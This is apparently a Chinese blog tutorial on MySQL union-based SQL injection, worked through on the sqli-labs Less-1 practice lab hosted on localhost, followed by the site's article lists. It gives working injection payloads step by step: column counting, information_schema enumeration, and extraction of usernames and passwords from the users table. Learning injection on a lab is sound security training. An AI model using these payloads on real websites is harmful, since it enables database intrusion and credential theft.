#mysql简要注入流程

mysql注入简要流程如下图:

由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询。

#sqli-labs之Less-1

1.判断是否有注入点

老方法:

and 1=1 页面正常

and 1=2 页面错误

说明可能存在注入点

最舒服的方法:

参数后面随便输入,被解析但未出现404可能存在注入。

若出现404页面说明没有注入点。

http://127.0.0.1/sqli-labs/Less-1/?id=1 --+

页面正常:

参数后面随便输:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+

被解析,未报错,说明存在注入点

2.判断注入

猜解列名数量(字段数):order by x(为可变变量) 找出错误与正确的临界值

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+

由上图可知字段数为3。

3.报错猜解准备

?id=-1' union select 1,2,3 --+

由图可知,2,3位置可进行回显。

4.信息收集

数据库版本:version()

数据库用户:user()

数据库名字:database()

操作系统:@@version_compile_os

数据库版本及数据库用户:

数据库名字及操作系统:

5.查询指定数据库的表名信息

必要知识点:

在mysql5.0及以上版本中mysql存在自带的数据库名information_schema,它是一个存记录有所有数据名、表名、列名的数据库。也就相当于可以查询它获取指定数据库下的表名列名信息。

数据库中符号“.”代表下一级,如a.b表示数据库a下的b表。

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_schema:数据库名

table_name:表名

column_name:列名

查询security数据库下的表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+

所有表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

可知有4张表分别是:emails,referers,uagents,users

6.查询指定表名下的列名信息

由上可推测用户信息可能在users表中

查询users表下的列名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

可知users表中的字段为username和password

7.查询指定数据

查询users表中的数据:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+

猜解多个数据可使用limit x,1(变动猜解)

可知一共有13条数据

最新文章

  1. H5案例分享:移动端滑屏 touch事件
  2. 前端工程师IE6兼容性问题随笔(未完待续)
  3. [知识整理]Java集合(一) - List
  4. Yii2-Redis使用小记 - Cache(转)
  5. sql server 导出表结构
  6. android 实现拍照的2种方法
  7. linux命令 --> pwd命令
  8. eclipse 安装git插件
  9. java输入输出流总结 转载
  10. zoj 3195 Design the city lca倍增
  11. Sublime Text3使用指南
  12. 注解的形式与xml文件的形式完成事务管理及xml文件的配置
  13. sliding window:"Marginalization","Schur complement","First estimate jacobin"
  14. Python 中的字符串(str)、字典(dict)详解及操作方法
  15. iBatis System.ArgumentNullException : 值不能为 null。 参数名: path2
  16. 深入浅出Spark的Checkpoint机制
  17. mysql 事务隔离级别详解
  18. 10-19 dp专练
  19. php prepare
  20. 20155328 《Java程序设计》 实验二(Java面向对象程序设计) 实验报告

热门文章

  1. 轻松理解JS中的面向对象,顺便搞懂prototype和__proto__的原理介绍
  2. requests post/get请求params参数和post请求正文的数据类型记录
  3. 商业智能BI必备的特性
  4. Linux查看进程的4种方法
  5. LINUX服务器常用命令
  6. 在linux上oracle服务启动停止详细
  7. journactl日志查看命令-渐入佳境
  8. 『无为则无心』Python日志 — 66、将日志信息保存到文件中
  9. 微信小程序里实现跑马灯效果
  10. java数组复习和内存分配